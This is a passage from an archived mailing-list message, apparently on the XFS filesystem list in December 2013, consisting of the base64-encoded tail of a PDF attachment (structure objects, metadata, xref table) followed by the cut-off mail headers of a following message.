dHJ1Y3RFbGVtL0tbMTVdL1BnIDMyIDAgUj4+DQplbmRvYmoNCjI4MiAwIG9iag0KPDwvUCA0OSAw IFIvUy9QL1R5cGUvU3RydWN0RWxlbS9LWzE2XS9QZyAzMiAwIFI+Pg0KZW5kb2JqDQoyODMgMCBv YmoNCjw8L1AgNDkgMCBSL1MvUC9UeXBlL1N0cnVjdEVsZW0vS1sxN10vUGcgMzIgMCBSPj4NCmVu ZG9iag0KMjg0IDAgb2JqDQo8PC9QIDQ5IDAgUi9TL0ZpZ3VyZS9BbHQgKCkvVHlwZS9TdHJ1Y3RF bGVtL0tbMjNdL1BnIDMyIDAgUj4+DQplbmRvYmoNCjI4NSAwIG9iag0KPDwvUCA0OSAwIFIvUy9U ZXh0Ym94L1R5cGUvU3RydWN0RWxlbS9LWzI4NiAwIFIgMjg3IDAgUiAyODggMCBSIDI4OSAwIFIg MjkwIDAgUiAyOTEgMCBSIDI5MiAwIFJdL1BnIDMyIDAgUj4+DQplbmRvYmoNCjI4NiAwIG9iag0K PDwvUCAyODUgMCBSL1MvU3Bhbi9UeXBlL1N0cnVjdEVsZW0vUGcgMzIgMCBSL0sgMD4+DQplbmRv YmoNCjI4NyAwIG9iag0KPDwvUCAyODUgMCBSL1MvUC9UeXBlL1N0cnVjdEVsZW0vS1sxXS9QZyAz MiAwIFI+Pg0KZW5kb2JqDQoyODggMCBvYmoNCjw8L1AgMjg1IDAgUi9TL1AvVHlwZS9TdHJ1Y3RF bGVtL0tbMl0vUGcgMzIgMCBSPj4NCmVuZG9iag0KMjg5IDAgb2JqDQo8PC9QIDI4NSAwIFIvUy9Q L1R5cGUvU3RydWN0RWxlbS9LWzNdL1BnIDMyIDAgUj4+DQplbmRvYmoNCjI5MCAwIG9iag0KPDwv UCAyODUgMCBSL1MvUC9UeXBlL1N0cnVjdEVsZW0vS1s0XS9QZyAzMiAwIFI+Pg0KZW5kb2JqDQoy OTEgMCBvYmoNCjw8L1AgMjg1IDAgUi9TL1AvVHlwZS9TdHJ1Y3RFbGVtL0tbNV0vUGcgMzIgMCBS Pj4NCmVuZG9iag0KMjkyIDAgb2JqDQo8PC9QIDI4NSAwIFIvUy9QL1R5cGUvU3RydWN0RWxlbS9L WzZdL1BnIDMyIDAgUj4+DQplbmRvYmoNCjI5MyAwIG9iag0KPDwvUCA0OSAwIFIvUy9GaWd1cmUv QWx0ICgpL1R5cGUvU3RydWN0RWxlbS9LWzI0XS9QZyAzMiAwIFI+Pg0KZW5kb2JqDQoyOTQgMCBv YmoNCjw8L1AgNDkgMCBSL1MvUC9UeXBlL1N0cnVjdEVsZW0vS1sxOF0vUGcgMzIgMCBSPj4NCmVu ZG9iag0KMjk1IDAgb2JqDQo8PC9QIDQ5IDAgUi9TL0ZpZ3VyZS9BbHQgKCkvVHlwZS9TdHJ1Y3RF bGVtL0tbMjVdL1BnIDMyIDAgUj4+DQplbmRvYmoNCjI5NiAwIG9iag0KPDwvUCA0OSAwIFIvUy9Q L1R5cGUvU3RydWN0RWxlbS9LWzE5XS9QZyAzMiAwIFI+Pg0KZW5kb2JqDQoyOTcgMCBvYmoNCjw8 L1AgNDkgMCBSL1MvUC9UeXBlL1N0cnVjdEVsZW0vS1syMF0vUGcgMzIgMCBSPj4NCmVuZG9iag0K Mjk4IDAgb2JqDQo8PC9QIDQ5IDAgUi9TL0ZpZ3VyZS9BbHQgKCkvVHlwZS9TdHJ1Y3RFbGVtL0tb N10vUGcgMzIgMCBSPj4NCmVuZG9iag0KMjk5IDAgb2JqDQo8PC9QIDQ5IDAgUi9TL1AvVHlwZS9T dHJ1Y3RFbGVtL0tbMjFdL1BnIDMyIDAgUj4+DQplbmRvYmoNCjMwMCAwIG9iag0KPDwvUCA0OSAw IFIvUy9QL1R5cGUvU3RydWN0RWxlbS9LWzIyXS9QZyAzMiAwIFI+Pg0KZW5kb2JqDQozMDEgMCBv YmoNClsyNDUgMCBSIDI3MCAwIFIgMjYwIDAgUiAyNjEgMCBSIDIzOSAwIFIgMjM2IDAgUiAyMzgg MCBSIDIyOCAwIFIgMjI5IDAgUiAyMzAgMCBSIDIzMSAwIFIgMjMyIDAgUiAyMzMgMCBSIDIzNCAw IFIgMjM3IDAgUiAyNDAgMCBSIDI0MSAwIFIgMjQzIDAgUiAyNDMgMCBSIDI0MyAwIFIgMjQ0IDAg UiAyNDYgMCBSIDI0NyAwIFIgMjQ4IDAgUiAyNDkgMCBSIDI1MCAwIFIgMjUxIDAgUiAyNTIgMCBS IDI1MyAwIFIgMjU0IDAgUiAyNTUgMCBSIDI1NiAwIFIgMjU3IDAgUiAyNTggMCBSIDI2MiAwIFIg MjYzIDAgUiAyNjQgMCBSIDI2NSAwIFIgMjY2IDAgUiAyNjcgMCBSIDI2OCAwIFIgMjY5IDAgUiAy NzEgMCBSIDI3MiAwIFIgMjczIDAgUiAyNDIgMCBSIDIzNSAwIFJdDQplbmRvYmoNCjMwMiAwIG9i ag0KWzI4NiAwIFIgMjg3IDAgUiAyODggMCBSIDI4OSAwIFIgMjkwIDAgUiAyOTEgMCBSIDI5MiAw IFIgMjk4IDAgUiAyNzQgMCBSIDI3NSAwIFIgMjc2IDAgUiAyNzcgMCBSIDI3OCAwIFIgMjc5IDAg UiAyODAgMCBSIDI4MSAwIFIgMjgyIDAgUiAyODMgMCBSIDI5NCAwIFIgMjk2IDAgUiAyOTcgMCBS IDI5OSAwIFIgMzAwIDAgUiAyODQgMCBSIDI5MyAwIFIgMjk1IDAgUl0NCmVuZG9iag0KMzAzIDAg b2JqDQo8PC9DcmVhdG9yICj+/wBNAGkAYwByAG8AcwBvAGYAdACuACAAVwBvAHIAZAAgADIAMAAx ADMpL0tleXdvcmRzICh3d3cuTmVldmlhLmNvbSwgRG9jdW1lbnQgQ29udmVydGVyIFBybywgQ29u dmVydCB0byBQREYgb3IgSW1hZ2UgaW4gYmF0Y2hlcyEpL1Byb2R1Y2VyIChOZWV2aWEgRG9jdW1l bnQgQ29udmVydGVyIFBybyB2Ni41IFwoaHR0cDovL25lZXZpYS5jb21cKSkvQ3JlYXRpb25EYXRl IChEOjIwMTMxMTEwMDcwNTE0LTA1JzAwJykvTW9kRGF0ZSAoRDoyMDEzMTExMDA3MDUxNS0wNScw MCcpPj4NCmVuZG9iag0KMzA0IDAgb2JqDQo8PC9Db3VudCAzL1R5cGUvUGFnZXMvS2lkc1szMDUg MCBSXT4+DQplbmRvYmoNCjMwNSAwIG9iag0KPDwvVHlwZS9QYWdlcy9QYXJlbnQgMzA0IDAgUi9L aWRzWzEgMCBSIDE1IDAgUiAzMiAwIFJdL0NvdW50IDM+Pg0KZW5kb2JqDQozMDYgMCBvYmoNCjw8 L1N0cnVjdFRyZWVSb290IDQ0IDAgUi9NYXJrSW5mbzw8L01hcmtlZCB0cnVlPj4vTGFuZyAoZW4t VVMpL1R5cGUvQ2F0YWxvZy9QYWdlcyAzMDQgMCBSL01ldGFkYXRhIDMwNyAwIFI+Pg0KZW5kb2Jq DQozMDcgMCBvYmoNCjw8L0xlbmd0aCAxNzU0L1R5cGUvTWV0YWRhdGEvU3VidHlwZS9YTUw+PnN0 cmVhbQ0KPD94cGFja2V0IGJlZ2luPSfvu78nIGlkPSdXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQn Pz4KPD9hZG9iZS14YXAtZmlsdGVycyBlc2M9IkNSTEYiPz4KPHg6eG1wbWV0YSB4bWxuczp4PSdh ZG9iZTpuczptZXRhLycgeDp4bXB0az0nMy4xLTcwMic+CjxyZGY6UkRGIHhtbG5zOnJkZj0naHR0 cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyc+CjxyZGY6RGVzY3JpcHRp b24gcmRmOmFib3V0PSc2OUJERUNCOC03RUQwLUEyQkEtMDEyMC1GNTQwNTlGODkyMDgnIHhtbG5z OnBkZj0naHR0cDovL25zLmFkb2JlLmNvbS9wZGYvMS4zLyc+PHBkZjpLZXl3b3Jkcz53d3cuTmVl dmlhLmNvbSwgRG9jdW1lbnQgQ29udmVydGVyIFBybywgQ29udmVydCB0byBQREYgb3IgSW1hZ2Ug aW4gYmF0Y2hlcyE8L3BkZjpLZXl3b3Jkcz48cGRmOlByb2R1Y2VyPk5lZXZpYSBEb2N1bWVudCBD b252ZXJ0ZXIgUHJvIHY2LjUgKGh0dHA6Ly9uZWV2aWEuY29tKTwvcGRmOlByb2R1Y2VyPjwvcmRm OkRlc2NyaXB0aW9uPgo8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0nNjlCREVDQjgtN0VEMC1B MkJBLTAxMjAtRjU0MDU5Rjg5MjA4JyB4bWxuczp4bXA9J2h0dHA6Ly9ucy5hZG9iZS5jb20veGFw LzEuMC8nPjx4bXA6TW9kaWZ5RGF0ZT4yMDEzLTExLTEwVDA3OjA1OjE1LTA1OjAwPC94bXA6TW9k aWZ5RGF0ZT48eG1wOkNyZWF0ZURhdGU+MjAxMy0xMS0xMFQwNzowNToxNC0wNTowMDwveG1wOkNy ZWF0ZURhdGU+PHhtcDpNZXRhZGF0YURhdGU+MjAxMy0xMS0xMFQwNzowNToxNC0wNTowMDwveG1w Ok1ldGFkYXRhRGF0ZT48eG1wOkNyZWF0b3JUb29sPk1pY3Jvc29mdMKuIFdvcmQgMjAxMzwveG1w OkNyZWF0b3JUb29sPjwvcmRmOkRlc2NyaXB0aW9uPgo8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91 dD0nNjlCREVDQjgtN0VEMC1BMkJBLTAxMjAtRjU0MDU5Rjg5MjA4JyB4bWxuczpkYz0naHR0cDov L3B1cmwub3JnL2RjL2VsZW1lbnRzLzEuMS8nPjxkYzpmb3JtYXQ+YXBwbGljYXRpb24vcGRmPC9k Yzpmb3JtYXQ+PGRjOmRlc2NyaXB0aW9uPjxyZGY6QWx0PjxyZGY6bGkgeG1sOmxhbmc9J3gtZGVm YXVsdCc+PC9yZGY6bGk+PC9yZGY6QWx0PjwvZGM6ZGVzY3JpcHRpb24+PGRjOmNyZWF0b3I+PHJk ZjpTZXE+PHJkZjpsaT48L3JkZjpsaT48L3JkZjpTZXE+PC9kYzpjcmVhdG9yPjxkYzp0aXRsZT48 cmRmOkFsdD48cmRmOmxpIHhtbDpsYW5nPSd4LWRlZmF1bHQnPjwvcmRmOmxpPjwvcmRmOkFsdD48 L2RjOnRpdGxlPjwvcmRmOkRlc2NyaXB0aW9uPgo8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0n NjlCREVDQjgtN0VEMC1BMkJBLTAxMjAtRjU0MDU5Rjg5MjA4JyB4bWxuczp4bXBNTT0naHR0cDov L25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyc+PHhtcE1NOkRvY3VtZW50SUQ+dXVpZDpDODE4RkNF Qi0yQTAxLTYzQjYtMDhBRC01NDY5MjhEMEFFRTU8L3htcE1NOkRvY3VtZW50SUQ+PHhtcE1NOklu c3RhbmNlSUQ+dXVpZDo2OUJERUNCOC03RUQwLUEyQkEtMDEyMC1GNTQwNTlGODkyMDg8L3htcE1N Okluc3RhbmNlSUQ+PC9yZGY6RGVzY3JpcHRpb24+Cgo8L3JkZjpSREY+CjwveDp4bXBtZXRhPgog ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCjw/eHBhY2tldCBlbmQ9J3cnPz4NCmVuZHN0 cmVhbQ0KZW5kb2JqDQp4cmVmDQowIDMwOA0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDE3 IDAwMDAwIG4NCjAwMDAwMDA0MjAgMDAwMDAgbg0KMDAwMDAwNDcxNyAwMDAwMCBuDQowMDAwMDA4 MjIxIDAwMDAwIG4NCjAwMDAwMTc2MzMgMDAwMDAgbg0KMDAwMDAxNzY4NiAwMDAwMCBuDQowMDAw MDE3ODYyIDAwMDAwIG4NCjAwMDAwMTgxMDggMDAwMDAgbg0KMDAwMDAzNDg0MCAwMDAwMCBuDQow MDAwMDM1MDE2IDAwMDAwIG4NCjAwMDAwMzUyMDEgMDAwMDAgbg0KMDAwMDAzNTQ1NSAwMDAwMCBu DQowMDAwMDYwMzU4IDAwMDAwIG4NCjAwMDAwNjA5NjYgMDAwMDAgbg0KMDAwMDA3NDM0OCAwMDAw MCBuDQowMDAwMDc0Nzg1IDAwMDAwIG4NCjAwMDAwODIxNDcgMDAwMDAgbg0KMDAwMDEwMTAxNSAw MDAwMCBuDQowMDAwMTAzOTk5IDAwMDAwIG4NCjAwMDAxMDY0NzUgMDAwMDAgbg0KMDAwMDEyNjE1 NSAwMDAwMCBuDQowMDAwMTI2MzI5IDAwMDAwIG4NCjAwMDAxMjY1NjYgMDAwMDAgbg0KMDAwMDEy NjU5MSAwMDAwMCBuDQowMDAwMTI2NzM4IDAwMDAwIG4NCjAwMDAxMjY3NjYgMDAwMDAgbg0KMDAw MDEyNjk0MSAwMDAwMCBuDQowMDAwMTI3MDE1IDAwMDAwIG4NCjAwMDAxMjcyNjkgMDAwMDAgbg0K MDAwMDEyNzY4OSAwMDAwMCBuDQowMDAwMTI4MTM1IDAwMDAwIG4NCjAwMDAxMzIyNjYgMDAwMDAg bg0KMDAwMDEzMjcwOSAwMDAwMCBuDQowMDAwMTMyNzYzIDAwMDAwIG4NCjAwMDAxMzI5MzIgMDAw MDAgbg0KMDAwMDEzMzE3MCAwMDAwMCBuDQowMDAwMTQ4OTY0IDAwMDAwIG4NCjAwMDAxNDkwNTUg MDAwMDAgbg0KMDAwMDE0OTI4MCAwMDAwMCBuDQowMDAwMTk0MzgyIDAwMDAwIG4NCjAwMDAxOTgz NzkgMDAwMDAgbg0KMDAwMDIwMDk3NyAwMDAwMCBuDQowMDAwMjA2MjU4IDAwMDAwIG4NCjAwMDAy MDgxMTAgMDAwMDAgbg0KMDAwMDIwODIxNyAwMDAwMCBuDQowMDAwMjA4NDcxIDAwMDAwIG4NCjAw MDAyMDg1NDggMDAwMDAgbg0KMDAwMDIwOTg5MyAwMDAwMCBuDQowMDAwMjA5OTcyIDAwMDAwIG4N CjAwMDAyMTA3NzIgMDAwMDAgbg0KMDAwMDIxMTA4OSAwMDAwMCBuDQowMDAwMjExMTc4IDAwMDAw IG4NCjAwMDAyMTEyMzIgMDAwMDAgbg0KMDAwMDIxMTczNiAwMDAwMCBuDQowMDAwMjExNzkwIDAw MDAwIG4NCjAwMDAyMTIyODMgMDAwMDAgbg0KMDAwMDIxMjM2NyAwMDAwMCBuDQowMDAwMjEyNDM2 IDAwMDAwIG4NCjAwMDAyMTI1MDUgMDAwMDAgbg0KMDAwMDIxMjU3NCAwMDAwMCBuDQowMDAwMjEy NjQzIDAwMDAwIG4NCjAwMDAyMTI3MTIgMDAwMDAgbg0KMDAwMDIxMjc4MSAwMDAwMCBuDQowMDAw MjEyODUxIDAwMDAwIG4NCjAwMDAyMTI5MjEgMDAwMDAgbg0KMDAwMDIxMjk5MSAwMDAwMCBuDQow MDAwMjEzMDYxIDAwMDAwIG4NCjAwMDAyMTMxMzEgMDAwMDAgbg0KMDAwMDIxMzIwMSAwMDAwMCBu DQowMDAwMjEzMjcxIDAwMDAwIG4NCjAwMDAyMTMzNDEgMDAwMDAgbg0KMDAwMDIxMzQxMSAwMDAw MCBuDQowMDAwMjEzNDgxIDAwMDAwIG4NCjAwMDAyMTM1NTEgMDAwMDAgbg0KMDAwMDIxMzYyMSAw MDAwMCBuDQowMDAwMjEzNjkxIDAwMDAwIG4NCjAwMDAyMTM3NjEgMDAwMDAgbg0KMDAwMDIxMzgz MSAwMDAwMCBuDQowMDAwMjEzOTAxIDAwMDAwIG4NCjAwMDAyMTM5NzEgMDAwMDAgbg0KMDAwMDIx NDA0MSAwMDAwMCBuDQowMDAwMjE0MTExIDAwMDAwIG4NCjAwMDAyMTQxODEgMDAwMDAgbg0KMDAw MDIxNDI1MSAwMDAwMCBuDQowMDAwMjE0MzIxIDAwMDAwIG4NCjAwMDAyMTQzOTEgMDAwMDAgbg0K MDAwMDIxNDQ2MSAwMDAwMCBuDQowMDAwMjE0NTMxIDAwMDAwIG4NCjAwMDAyMTQ2MDEgMDAwMDAg bg0KMDAwMDIxNDY3MSAwMDAwMCBuDQowMDAwMjE0NzQxIDAwMDAwIG4NCjAwMDAyMTQ4MTEgMDAw MDAgbg0KMDAwMDIxNTQ2MSAwMDAwMCBuDQowMDAwMjE1NTMxIDAwMDAwIG4NCjAwMDAyMTU2MDEg MDAwMDAgbg0KMDAwMDIxNTY3MSAwMDAwMCBuDQowMDAwMjE1NzQxIDAwMDAwIG4NCjAwMDAyMTU4 MTEgMDAwMDAgbg0KMDAwMDIxNTg4MSAwMDAwMCBuDQowMDAwMjE1OTUxIDAwMDAwIG4NCjAwMDAy MTYwMjIgMDAwMDAgbg0KMDAwMDIxNjA5MyAwMDAwMCBuDQowMDAwMjE2MTY0IDAwMDAwIG4NCjAw MDAyMTYyMzUgMDAwMDAgbg0KMDAwMDIxNjMwNiAwMDAwMCBuDQowMDAwMjE2Mzc3IDAwMDAwIG4N CjAwMDAyMTY0NDggMDAwMDAgbg0KMDAwMDIxNjUxOSAwMDAwMCBuDQowMDAwMjE2NTkwIDAwMDAw IG4NCjAwMDAyMTY2NjEgMDAwMDAgbg0KMDAwMDIxNjczMiAwMDAwMCBuDQowMDAwMjE2ODAzIDAw MDAwIG4NCjAwMDAyMTY4NzQgMDAwMDAgbg0KMDAwMDIxNjk0NSAwMDAwMCBuDQowMDAwMjE3MDE2 IDAwMDAwIG4NCjAwMDAyMTcwODcgMDAwMDAgbg0KMDAwMDIxNzE1OCAwMDAwMCBuDQowMDAwMjE3 MjI5IDAwMDAwIG4NCjAwMDAyMTczMDAgMDAwMDAgbg0KMDAwMDIxNzM3MSAwMDAwMCBuDQowMDAw MjE3NDQyIDAwMDAwIG4NCjAwMDAyMTc1MTMgMDAwMDAgbg0KMDAwMDIxNzU4NCAwMDAwMCBuDQow MDAwMjE3NjU1IDAwMDAwIG4NCjAwMDAyMTc3MjYgMDAwMDAgbg0KMDAwMDIxNzc5NyAwMDAwMCBu DQowMDAwMjE3ODY4IDAwMDAwIG4NCjAwMDAyMTc5MzkgMDAwMDAgbg0KMDAwMDIxODAxMCAwMDAw MCBuDQowMDAwMjE4MDgxIDAwMDAwIG4NCjAwMDAyMTgxNTIgMDAwMDAgbg0KMDAwMDIxODIyMyAw MDAwMCBuDQowMDAwMjE4Mjk0IDAwMDAwIG4NCjAwMDAyMTgzNjUgMDAwMDAgbg0KMDAwMDIxODQz NiAwMDAwMCBuDQowMDAwMjE4NTA3IDAwMDAwIG4NCjAwMDAyMTg1NzggMDAwMDAgbg0KMDAwMDIx ODY0OSAwMDAwMCBuDQowMDAwMjE4NzIwIDAwMDAwIG4NCjAwMDAyMTg3OTEgMDAwMDAgbg0KMDAw MDIxODg2MiAwMDAwMCBuDQowMDAwMjE4OTMzIDAwMDAwIG4NCjAwMDAyMTkwMDQgMDAwMDAgbg0K MDAwMDIxOTA3NSAwMDAwMCBuDQowMDAwMjE5MTQ2IDAwMDAwIG4NCjAwMDAyMTkyMTcgMDAwMDAg bg0KMDAwMDIxOTI4OCAwMDAwMCBuDQowMDAwMjE5MzU5IDAwMDAwIG4NCjAwMDAyMTk0MzAgMDAw MDAgbg0KMDAwMDIxOTUwMSAwMDAwMCBuDQowMDAwMjE5NTcyIDAwMDAwIG4NCjAwMDAyMTk2NDMg MDAwMDAgbg0KMDAwMDIxOTcxNCAwMDAwMCBuDQowMDAwMjE5Nzg1IDAwMDAwIG4NCjAwMDAyMTk4 NTcgMDAwMDAgbg0KMDAwMDIxOTkyOSAwMDAwMCBuDQowMDAwMjIwMDAxIDAwMDAwIG4NCjAwMDAy MjAwNzMgMDAwMDAgbg0KMDAwMDIyMDE0NSAwMDAwMCBuDQowMDAwMjIwMjE3IDAwMDAwIG4NCjAw MDAyMjAyODkgMDAwMDAgbg0KMDAwMDIyMDM2MSAwMDAwMCBuDQowMDAwMjIwNDMzIDAwMDAwIG4N CjAwMDAyMjA1MDUgMDAwMDAgbg0KMDAwMDIyMDU3NyAwMDAwMCBuDQowMDAwMjIwNjQ5IDAwMDAw IG4NCjAwMDAyMjA3MjEgMDAwMDAgbg0KMDAwMDIyMTA2NyAwMDAwMCBuDQowMDAwMjIxMTQwIDAw MDAwIG4NCjAwMDAyMjEyMTMgMDAwMDAgbg0KMDAwMDIyMTI4NiAwMDAwMCBuDQowMDAwMjIxMzU5 IDAwMDAwIG4NCjAwMDAyMjE0MzIgMDAwMDAgbg0KMDAwMDIyMTUwNSAwMDAwMCBuDQowMDAwMjIx NTc4IDAwMDAwIG4NCjAwMDAyMjE2NTEgMDAwMDAgbg0KMDAwMDIyMTcyNCAwMDAwMCBuDQowMDAw MjIxNzk3IDAwMDAwIG4NCjAwMDAyMjE4NzAgMDAwMDAgbg0KMDAwMDIyMTk0MyAwMDAwMCBuDQow MDAwMjIyMDE2IDAwMDAwIG4NCjAwMDAyMjIwODkgMDAwMDAgbg0KMDAwMDIyMjE2MiAwMDAwMCBu DQowMDAwMjIyMjM1IDAwMDAwIG4NCjAwMDAyMjIzMDggMDAwMDAgbg0KMDAwMDIyMjM4MSAwMDAw MCBuDQowMDAwMjIyNDU0IDAwMDAwIG4NCjAwMDAyMjI1MjcgMDAwMDAgbg0KMDAwMDIyMjYwMCAw MDAwMCBuDQowMDAwMjIyNjczIDAwMDAwIG4NCjAwMDAyMjI3NDYgMDAwMDAgbg0KMDAwMDIyMjgx OSAwMDAwMCBuDQowMDAwMjIyODkyIDAwMDAwIG4NCjAwMDAyMjI5NjUgMDAwMDAgbg0KMDAwMDIy MzAzOCAwMDAwMCBuDQowMDAwMjIzMTExIDAwMDAwIG4NCjAwMDAyMjMxODQgMDAwMDAgbg0KMDAw MDIyMzI1NyAwMDAwMCBuDQowMDAwMjIzMzMwIDAwMDAwIG4NCjAwMDAyMjM0MDMgMDAwMDAgbg0K MDAwMDIyMzQ3NiAwMDAwMCBuDQowMDAwMjIzNTQ5IDAwMDAwIG4NCjAwMDAyMjM2MjIgMDAwMDAg bg0KMDAwMDIyMzcwMiAwMDAwMCBuDQowMDAwMjIzNzcyIDAwMDAwIG4NCjAwMDAyMjM4NDIgMDAw MDAgbg0KMDAwMDIyMzkxMiAwMDAwMCBuDQowMDAwMjIzOTgyIDAwMDAwIG4NCjAwMDAyMjQwNTIg MDAwMDAgbg0KMDAwMDIyNDEyMiAwMDAwMCBuDQowMDAwMjI0MTkyIDAwMDAwIG4NCjAwMDAyMjQy NjIgMDAwMDAgbg0KMDAwMDIyNDMzMiAwMDAwMCBuDQowMDAwMjI0NDAyIDAwMDAwIG4NCjAwMDAy MjQ0NzIgMDAwMDAgbg0KMDAwMDIyNDU0MiAwMDAwMCBuDQowMDAwMjI0NjEyIDAwMDAwIG4NCjAw MDAyMjQ3MTAgMDAwMDAgbg0KMDAwMDIyNDc4MCAwMDAwMCBuDQowMDAwMjI0ODUwIDAwMDAwIG4N CjAwMDAyMjQ5MjAgMDAwMDAgbg0KMDAwMDIyNDk5MCAwMDAwMCBuDQowMDAwMjI1MDYwIDAwMDAw IG4NCjAwMDAyMjUxMzAgMDAwMDAgbg0KMDAwMDIyNTIwMCAwMDAwMCBuDQowMDAwMjI1MjcwIDAw MDAwIG4NCjAwMDAyMjUzNDAgMDAwMDAgbg0KMDAwMDIyNTQxMCAwMDAwMCBuDQowMDAwMjI1NDc5 IDAwMDAwIG4NCjAwMDAyMjU1NDggMDAwMDAgbg0KMDAwMDIyNTYxNyAwMDAwMCBuDQowMDAwMjI1 Njg3IDAwMDAwIG4NCjAwMDAyMjU3NTcgMDAwMDAgbg0KMDAwMDIyNTgyNyAwMDAwMCBuDQowMDAw MjI1ODk3IDAwMDAwIG4NCjAwMDAyMjU5NzkgMDAwMDAgbg0KMDAwMDIyNjA2MCAwMDAwMCBuDQow MDAwMjI2MTMwIDAwMDAwIG4NCjAwMDAyMjYyMTEgMDAwMDAgbg0KMDAwMDIyNjI5MiAwMDAwMCBu DQowMDAwMjI2MzYyIDAwMDAwIG4NCjAwMDAyMjY0MzIgMDAwMDAgbg0KMDAwMDIyNjUxNCAwMDAw MCBuDQowMDAwMjI2NTkwIDAwMDAwIG4NCjAwMDAyMjY2NjAgMDAwMDAgbg0KMDAwMDIyNjc0MSAw MDAwMCBuDQowMDAwMjI2ODExIDAwMDAwIG4NCjAwMDAyMjY4ODEgMDAwMDAgbg0KMDAwMDIyNjk1 MSAwMDAwMCBuDQowMDAwMjI3MDIxIDAwMDAwIG4NCjAwMDAyMjcwOTEgMDAwMDAgbg0KMDAwMDIy NzE2MSAwMDAwMCBuDQowMDAwMjI3MjMxIDAwMDAwIG4NCjAwMDAyMjczMDEgMDAwMDAgbg0KMDAw MDIyNzM3MSAwMDAwMCBuDQowMDAwMjI3NDQxIDAwMDAwIG4NCjAwMDAyMjc1MTEgMDAwMDAgbg0K MDAwMDIyNzU4MSAwMDAwMCBuDQowMDAwMjI3NjUxIDAwMDAwIG4NCjAwMDAyMjc3NDAgMDAwMDAg bg0KMDAwMDIyNzgxMiAwMDAwMCBuDQowMDAwMjI3ODgyIDAwMDAwIG4NCjAwMDAyMjc5NTIgMDAw MDAgbg0KMDAwMDIyODAyMiAwMDAwMCBuDQowMDAwMjI4MDkyIDAwMDAwIG4NCjAwMDAyMjgxNjIg MDAwMDAgbg0KMDAwMDIyODIzMiAwMDAwMCBuDQowMDAwMjI4MzAyIDAwMDAwIG4NCjAwMDAyMjgz NzIgMDAwMDAgbg0KMDAwMDIyODQ0MiAwMDAwMCBuDQowMDAwMjI4NTIzIDAwMDAwIG4NCjAwMDAy Mjg1OTMgMDAwMDAgbg0KMDAwMDIyODY2MyAwMDAwMCBuDQowMDAwMjI4NzMzIDAwMDAwIG4NCjAw MDAyMjg4MDIgMDAwMDAgbg0KMDAwMDIyODg3MSAwMDAwMCBuDQowMDAwMjI4OTQxIDAwMDAwIG4N CjAwMDAyMjkwMTEgMDAwMDAgbg0KMDAwMDIyOTA4MSAwMDAwMCBuDQowMDAwMjI5MTUxIDAwMDAw IG4NCjAwMDAyMjkyMjEgMDAwMDAgbg0KMDAwMDIyOTI5MSAwMDAwMCBuDQowMDAwMjI5MzYxIDAw MDAwIG4NCjAwMDAyMjk0MzEgMDAwMDAgbg0KMDAwMDIyOTUxMyAwMDAwMCBuDQowMDAwMjI5NjQy IDAwMDAwIG4NCjAwMDAyMjk3MTQgMDAwMDAgbg0KMDAwMDIyOTc4NCAwMDAwMCBuDQowMDAwMjI5 ODU0IDAwMDAwIG4NCjAwMDAyMjk5MjQgMDAwMDAgbg0KMDAwMDIyOTk5NCAwMDAwMCBuDQowMDAw MjMwMDY0IDAwMDAwIG4NCjAwMDAyMzAxMzQgMDAwMDAgbg0KMDAwMDIzMDIxNiAwMDAwMCBuDQow MDAwMjMwMjg2IDAwMDAwIG4NCjAwMDAyMzAzNjggMDAwMDAgbg0KMDAwMDIzMDQzOCAwMDAwMCBu DQowMDAwMjMwNTA4IDAwMDAwIG4NCjAwMDAyMzA1ODkgMDAwMDAgbg0KMDAwMDIzMDY1OSAwMDAw MCBuDQowMDAwMjMwNzI5IDAwMDAwIG4NCjAwMDAyMzExMjcgMDAwMDAgbg0KMDAwMDIzMTM1NyAw MDAwMCBuDQowMDAwMjMxNjYzIDAwMDAwIG4NCjAwMDAyMzE3MjEgMDAwMDAgbg0KMDAwMDIzMTgw NiAwMDAwMCBuDQowMDAwMjMxOTM1IDAwMDAwIG4NCnRyYWlsZXINCjw8DQovU2l6ZSAzMDgNCi9S b290IDMwNiAwIFINCi9JbmZvIDMwMyAwIFINCi9JRCBbPDIzNjkwRDFENURFNjNEQjY3NDg2QTYz OERDOEU5QzAwPjw3QTlFNDYxRDlDODlENjY5OUFEMjI4NTc2RTk2MjY1RT5dDQo+Pg0Kc3RhcnR4 cmVmDQoyMzM3NzENCiUlRU9GDQo= ------=_Part_139516_1967875448.1386256706864-- From mike.dacre@gmail.com Thu Dec 5 09:58:58 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,HTML_MESSAGE, T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 70CE97F3F for ; Thu, 5 Dec 2013 09:58:58 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id D30B5AC005 for ; Thu, 5 Dec 2013 07:58:54 -0800 (PST) X-ASG-Debug-ID: 1386259128-04cbb0416754e820001-NocioJ Received: from mail-wg0-f50.google.com (mail-wg0-f50.google.com [74.125.82.50]) by cuda.sgi.com with ESMTP id LjYEbnHY8nc2NAjq (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Thu, 05 Dec 2013 07:58:49 -0800 (PST) X-Barracuda-Envelope-From: mike.dacre@gmail.com X-Barracuda-Apparent-Source-IP: 74.125.82.50 Received: by mail-wg0-f50.google.com with SMTP id a1so14865801wgh.17 for ; Thu, 05 Dec 2013 07:58:48 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:from:date:message-id:subject:to 